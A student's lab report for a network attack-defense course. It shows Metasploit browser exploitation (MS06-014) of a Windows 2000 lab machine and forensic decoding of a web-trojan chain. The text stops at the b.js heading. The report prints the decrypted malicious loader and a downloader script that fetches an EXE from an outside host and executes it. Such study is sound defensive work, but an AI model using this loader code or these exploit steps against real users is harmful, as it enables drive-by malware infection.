20253913 2025-2026-2 《网络攻防实践》第十一周作业

《网络攻防实践》第十一次作业报告

一、实践内容

1.1 Web 浏览器渗透攻击原理

Web 浏览器渗透攻击与传统服务端漏洞利用存在明显区别。服务端攻击通常面向服务器开放端口和网络服务,例如 Web 服务、数据库服务、文件共享服务等;浏览器端攻击则将目标放在用户主机上的浏览器、ActiveX 控件、插件、脚本解释器或旧版组件上。攻击是否触发,不仅取决于漏洞模块本身,还取决于用户是否访问特定页面、浏览器版本是否匹配、脚本和 ActiveX 是否允许运行,以及漏洞触发后浏览器进程是否稳定。

网页木马通常以一个看似普通的网页作为入口。用户访问入口页面后,页面中的 JavaScript、iframe 或 object 标签会进一步加载漏洞利用代码。漏洞利用代码针对浏览器或浏览器控件的缺陷构造异常输入,使浏览器执行攻击者指定的 payload。payload 是漏洞利用成功后真正执行的载荷,常见形式包括反向连接 shell、绑定端口 shell、下载执行器等。在 Metasploit 中,攻击成功后通常会形成一个 session,攻击方可以通过该会话在靶机上执行命令,从而验证漏洞利用结果。

本次实验使用的 Windows 2000 / IE 环境较旧,适合复现早期浏览器端漏洞利用场景。由于这类攻击依赖浏览器进程状态,实验过程中我出现了页面能访问但 session 不返回、浏览器崩溃、只触发部分漏洞路径等现象。这些现象本身也属于浏览器漏洞实验的重要观察内容。

1.2 Metasploit 浏览器漏洞利用模块说明

本次实验主要涉及两个 Metasploit 浏览器端漏洞利用模块:MS06-014 对应的 exploit/windows/browser/ie_createobject,以及 MS06-055 对应的 exploit/windows/browser/ms06_055_vml_method。二者都属于面向旧版 Windows / Internet Explorer 环境的客户端攻击模块,攻击方式均依赖靶机浏览器主动访问攻击方提供的恶意 URL。

exploit/windows/browser/ie_createobject 模块对应 MS06-014 相关漏洞利用场景,主要利用旧版 Internet Explorer 对 ActiveX / COM 对象创建与调用过程中的安全问题。当靶机浏览器访问恶意页面后,页面脚本尝试触发 CreateObject 相关漏洞,并执行指定 payload。本次实验中使用该模块构造恶意网页 URL,在 Win2K 靶机访问后成功建立远程 shell 会话。

exploit/windows/browser/ms06_055_vml_method 模块对应 MS06-055 相关漏洞利用场景,主要面向旧版 Internet Explorer 中 VML 处理逻辑的远程代码执行问题。VML 是早期 IE 支持的一类矢量标记语言,漏洞利用页面通常包含 VML 标签、behavior:url(#default#VML)unescape("%u....") 形式的 shellcode,以及堆喷射结构。靶机访问页面后,如果浏览器版本和系统补丁状态满足条件,就可能触发漏洞并执行 payload。

1.3 网页木马常见混淆与加载方式

网页木马很少直接暴露完整攻击逻辑,常见做法是将真实 URL、漏洞利用代码和下载地址隐藏在多层脚本中。隐藏 iframe 是最常见的加载方式之一,页面通过宽高为 0 或 1 的 iframe 在后台加载其他网页,使用户表面上只看到普通页面,实际浏览器已经访问了漏洞利用页面。script 标签也常用于加载远程 JavaScript,使入口页保持简短,同时将主要逻辑放在外部脚本中。

JavaScript 混淆通常包括字符串十六进制编码、八进制转义、eval() 动态执行、unescape("%u....") 编码、Base64 编码、XXTEA 加密等。十六进制编码可以把 URL 写成不易直观看懂的字符序列;Base64 与 XXTEA 组合可以隐藏大段脚本内容;eval() 可以在运行时恢复并执行真实代码;unescape("%u....") 常用于构造 shellcode。堆喷射则是浏览器漏洞利用中的常见技术,通过大量填充 NOP sled 与 shellcode,提高漏洞触发后跳转到有效载荷的概率。

这些混淆与加载技术的目的并不是单一的“加密”,而是延迟分析、绕过简单特征检测、分阶段投递攻击代码,并根据靶机组件情况选择不同二阶段脚本或可执行文件。

1.4 网页木马取证分析思路

网页木马取证分析需要从入口页面出发,按链条逐层还原。首先检查入口文件中的 iframe、script、object、JavaScript 字符串和可疑 URL,确定第一跳加载资源。若题目环境使用 URL 的 MD5 值作为文件名保存资源,则每发现一个 URL 都需要计算其 32 位 MD5,并在 hashed 文件夹中查找对应文件。文件名要求使用小写字母且不带扩展名,否则容易出现文件无法匹配的情况。

如果取回的是网页或脚本文件,需要继续查看其中是否存在二次加载、混淆代码或加密字符串。对于 Base64、XXTEA、十六进制、八进制、Packer 混淆等内容,应先识别编码方式和密钥,再逐层解码。若解密后得到的是二进制程序下载地址,则需要下载对应散列文件,并转入静态分析。静态分析可以从文件类型、壳特征、字符串、导入函数、注册表操作、文件操作、网络下载地址等角度展开。

本次取证分析的核心链条为:start.html 定位 new09.htmnew09.htm 加载外部 iframe 和 script,脚本经 XXTEA + Base64 解密后继续加载 1.jsb.jspps.jsbd.cab,二阶段脚本再下载多个 EXE 文件,最终对可执行文件进行脱壳和 IDA 静态分析。

1.5 攻防对抗中的检测与防御思路

在攻防对抗场景中,防守方不能只关注邮件正文中表面展示的 URL。挂马链接可能只是统一入口,真实漏洞利用地址会被十六进制、Base64、JavaScript 函数或多层 iframe 隐藏。防守分析应从邮件 URL 提取开始,离线查看入口页源码,识别脚本中的解码函数,恢复真实漏洞利用地址,并结合抓包结果判断浏览器实际访问了哪些资源。

流量层面需要重点观察 HTTP 请求路径、响应内容、User-Agent、VML 标签、ActiveX 对象创建、unescape("%u....") shellcode、堆喷射填充、可疑 EXE/CAB 下载,以及靶机是否主动连接攻击方监听端口。若 TCP 流中出现 Windows 命令行 banner 和命令回显,可判定攻击者已经获得交互式命令执行能力。

防御措施主要包括:及时更新操作系统和浏览器补丁,禁用不必要的 ActiveX 控件和脚本执行,限制旧版浏览器访问未知页面,在邮件网关中提取和重写可疑 URL,通过 IDS/IPS 规则识别 VML、堆喷射和异常 shellcode 特征,在终端侧监控异常子进程、落地文件、自启动项、注册表修改和反向连接行为。对于旧系统实验环境,还需要认识到漏洞利用存在不稳定性,抓包和主机侧证据应结合起来分析。

二、实验过程

2.1 实验环境与网络连通性测试

本次实验分为浏览器渗透攻击、网页木马取证分析和攻防对抗实践三个部分。不同部分使用的虚拟机环境略有差异,如图表所示。

角色 主机标识 操作系统 IP 地址 作用
攻击机 Kali Kali Linux 192.168.5.5 运行 Metasploit,提供恶意网页服务,监听 shell 会话
靶机 Win2K / ech0 Windows 2000 / Win2K Server 192.168.5.10 使用 IE 访问恶意 URL,验证浏览器漏洞利用效果
分析环境 WinXP Windows XP 本地分析环境 查看网页木马文件、使用工具进行解混淆与静态分析
取证辅助环境 Kali Kali Linux 本地分析环境 解压 bd.cab、计算 MD5、辅助分析样本文件

image-20260430185112313

image-20260430185351678

实验开始前,先在 Windows 靶机中使用 ipconfig 查看网卡地址,确认靶机 IP 为 192.168.5.10;在 Kali 中使用 ifconfigip a 查看攻击机地址,确认攻击机 IP 为 192.168.5.5。随后分别从 Kali ping Windows 靶机、从 Windows 靶机 ping Kali,验证两台虚拟机位于同一网段且 ICMP 通信正常。

ifconfig
ping 192.168.5.10

Windows 靶机侧执行:

ipconfig
ping 192.168.5.5

连通性测试结果显示,Kali 与 Windows 2000 靶机之间可以正常通信,为后续浏览器访问恶意 URL、payload 回连或 shell 连接建立提供了基础条件。

image-20260430185501365

image-20260430185543943

2.2 Web 浏览器渗透攻击实验:MS06-014

本部分使用 Metasploit 中的 MS06-014 相关浏览器漏洞利用模块,对 Win2K 靶机进行浏览器端渗透攻击实验。实验目标是构造恶意网页 URL,使靶机 IE 访问后触发漏洞,并在 Metasploit 中建立可交互的远程 shell 会话。

2.2.1 启动 Metasploit 并查找模块

在 Kali 攻击机中启动 Metasploit 控制台:

msfconsole

image-20260430185717270

进入控制台后,使用 search MS06-014 查找与 MS06-014 相关的漏洞利用模块:

search MS06-014

image-20260430185812076

搜索结果中可以找到 exploit/windows/browser/ie_createobject 模块。该模块面向旧版 Internet Explorer / ActiveX 场景,符合本次 Windows 2000 靶机环境。

2.2.2 选择模块并查看参数

选择 ie_createobject 模块:

use exploit/windows/browser/ie_createobject

也可以根据搜索结果编号直接使用:

use 0

随后查看模块参数:

show options

image-20260430185848781

本实验中 MS06-014 模块的关键参数整理如下。

参数 设置值 说明
模块 exploit/windows/browser/ie_createobject MS06-014 相关浏览器端漏洞利用模块
SRVHOST 192.168.5.5 / 默认监听地址 Metasploit 提供恶意网页服务的监听地址
SRVPORT 8080 恶意网页服务端口
URIPATH 随机生成,如 /dTt5lH 靶机浏览器访问的恶意 URL 路径
payload windows/shell/bind_tcp 远程 shell 类型载荷
LPORT 4444 bind shell 监听端口
靶机访问 URL http://192.168.5.5:8080/dTt5lH Metasploit 生成的恶意网页 URL

2.2.3 设置 payload 并启动 exploit 服务

实验中选择远程 shell 类型 payload,并启动 exploit:

set payload windows/shell/bind_tcp
exploit

image-20260430185958413

Metasploit 启动后会在攻击机上提供恶意网页服务,并生成本次攻击使用的 URL:

http://192.168.5.5:8080/dTt5lH

该 URL 即为靶机需要访问的恶意网页木马入口。此处的 URL 路径由 Metasploit 生成,靶机访问后会收到模块返回的漏洞触发页面。

2.2.4 靶机访问恶意网页并建立会话

在 Win2K 靶机中启动 Internet Explorer,访问 Metasploit 生成的 URL:

http://192.168.5.5:8080/dTt5lH

image-20260430190104044

浏览器页面中出现一串字符。这一现象可以理解为靶机访问 exploit 服务后,浏览器接收到了 Metasploit 返回的页面内容或触发过程中的输出,并不表示普通网页访问失败。对于浏览器端漏洞利用来说,页面显示是否正常不是唯一判断标准,关键应观察 Metasploit 是否建立 session。

在 Kali 的 Metasploit 中查看当前会话:

sessions

若存在有效会话,使用以下命令进入:

sessions -i 1

进入 shell 后执行 ipconfig,验证能否在靶机上执行命令:

ipconfig

image-20260430190259373

实验结果显示,Metasploit 成功建立与 Windows 2000 靶机的命令 shell 会话,并能够通过该 session 执行 ipconfig 等命令。由此可确认 MS06-014 浏览器端漏洞利用实验完成,攻击方获得了靶机上的远程命令执行能力。

2.3 取证分析实践:网页木马攻击场景分析

本部分对网页木马攻击链进行取证分析。分析过程遵循“入口文件—隐藏加载—散列文件—脚本解密—二阶段资源—可执行文件分析”的顺序展开,重点是还原网页木马的加载链条和最终载荷行为。

2.3.1 从 start.html 定位 new09.htm

取证分析从 start.html 开始。用文本编辑器打开 start.html 后,搜索关键字 new09.htm,可以发现文件中存在对 new09.htm 的引用。页面中对 new09.htm 的加载使用的是相对路径,说明在原始 Web 目录结构中,start.htmlnew09.htm 应处于同一目录。

image-20260430193359508

image-20260430193444278

由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。后续结合wp文件(学习通中)补全 new09.htm 的实际内容。该文件内容较短,核心是两条外部资源加载语句。

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

image-20260430193327002

可以判断,new09.htm 并不直接包含完整漏洞利用代码,而是通过隐藏 iframe 加载 kl.htm,并通过 script 标签加载 1299644.js。这符合网页木马常见的分层加载方式。

2.3.2 new09.htm 中的两条外部加载语句

new09.htm 中发现的两个 URL 分别计算 32 位 MD5,并使用小写 MD5 值作为文件名,到 hashed 文件夹中查找对应文件。

原始 URL 加载方式 MD5 值 对应文件分析结果
http://aa.18dd.net/aa/kl.htm 隐藏 iframe 7f60672dcd6b5e90b6772545ee219bd3 对应文件内容较普通,主要体现第一跳隐藏加载
http://js.users.51.la/1299644.js 外部 JavaScript 23180a42a2ff1192150231b44ffdf3d3 对应文件为混淆加密脚本,后续需要继续解密

image-20260430194116602

image-20260430194222720

随后在hashed文件夹中寻找这两个MD5码为命名的文件。

image-20260430195201308

image-20260430195125745

其中一个文件内容较直观,另一个文件中包含大量混淆代码。通过观察函数名和代码结构,可判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。

2.3.3 XXTEA + Base64 解密过程

混淆脚本中可以看到如下关键语句:

t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

这条语句给出了完整的解密思路。脚本变量 t 中保存的是 Base64 形式的密文,解密时先执行 base64decode(t),再调用 xxtea_decrypt() 进行 XXTEA 解密。第二个参数 '\x73\x63\x72\x69\x70\x74' 是解密密钥。

将十六进制转义字符串还原:

\x73\x63\x72\x69\x70\x74 = script

因此,XXTEA 解密密钥为:

script

image-20260430195457230

image-20260430195719124

文件内容如下

t="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";
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

解密流程可整理为:

Base64 解码 → XXTEA 解密,密钥为 script → JavaScript 字符串转义还原

image-20260501125139311

image-20260501125515715

解密结果:

<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>

使用 CyberChef 进行解码时,先对密文执行 Base64 解码,再使用 XXTEA 解密并填入密钥 script,最后对输出中的 JavaScript 转义字符串进行还原。解密结果显示,该脚本不是简单统计脚本,而是一个网页挂马加载器。

2.3.4 解密后脚本加载的二阶段资源

审计解密后的脚本发现该脚本会探测浏览器是否支持 ActiveX,并依次尝试 ADODB.Stream、StormPlayer、PPS / PowerPlayer、BaiduBar 等旧控件。根据不同控件存在情况,脚本动态加载后续 JavaScript 或下载可疑 CAB / EXE 文件。

序号 URL 用途判断 URL 字符串 MD5 对应分析
1 http://aa.18dd.net/aa/1.js ADODB.Stream / ActiveX 相关二阶段脚本 5d7e9058a857aa2abee820d5473c5fa4 下载 014.exe 并保存执行
2 http://aa.18dd.net/aa/b.js StormPlayer 控件相关二阶段脚本 3870c28cc279d457746b3796a262f166 使用 shellcode、heap spray,并提取到 bf.exe
3 http://aa.18dd.net/aa/pps.js PPS / PowerPlayer 控件相关二阶段脚本 5f0b8bf0385314dbe0e5ec95e6abedc2 针对 PPS ActiveX 控件进行漏洞触发,并提取到 pps.exe
4 http://down.18dd.net/bb/bd.cab BaiduBar.Tool 控件调用下载的 CAB / EXE 载荷 1c1d7b3539a617517c49eee4120783b2 解压后得到 bd.exe

该脚本的逻辑表明,攻击者并不是只针对一个漏洞,而是通过网页挂马加载器同时探测多个旧控件。一旦靶机安装了对应控件,页面就会加载相应二阶段脚本或下载载荷,从而提高攻击成功概率。

同样的,我们继续在hashed文件中寻找这4个MD5码为命名的文件。

2.3.5 1.js 分析:ADODB.Stream 下载执行

1.js

eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")

image-20260501132723074

1.js 原始内容使用十六进制字符串进行混淆,外层通过 eval() 执行。将十六进制转义内容还原后,可以得到较清晰的下载执行逻辑:

var url = 'http://down.18dd.net/bb/014.exe';
try {
    var xml = ado.CreateObject('Microsoft.XMLHTTP', '');
    xml.Open('GET', url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = '..\\ntuser.com';
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject('Shell.Application', '');
    shell.ShellExecute('cmd.exe', '/c ' + path, '', 'open', 0);
} catch (e) {
}

该脚本使用 Microsoft.XMLHTTP 请求远程地址 http://down.18dd.net/bb/014.exe,再利用 ADODB.Stream 将 HTTP 响应体以二进制形式写入本地,保存路径为 ..\ntuser.com。随后调用 Shell.Application 执行:

cmd.exe /c ..\ntuser.com

这种行为属于典型 downloader/dropper:脚本本身负责下载、落地和执行二进制载荷,真正的恶意功能由后续 EXE 文件承担。

2.3.6 b.js 分析:StormPlayer 控件与 shellcode

b.js

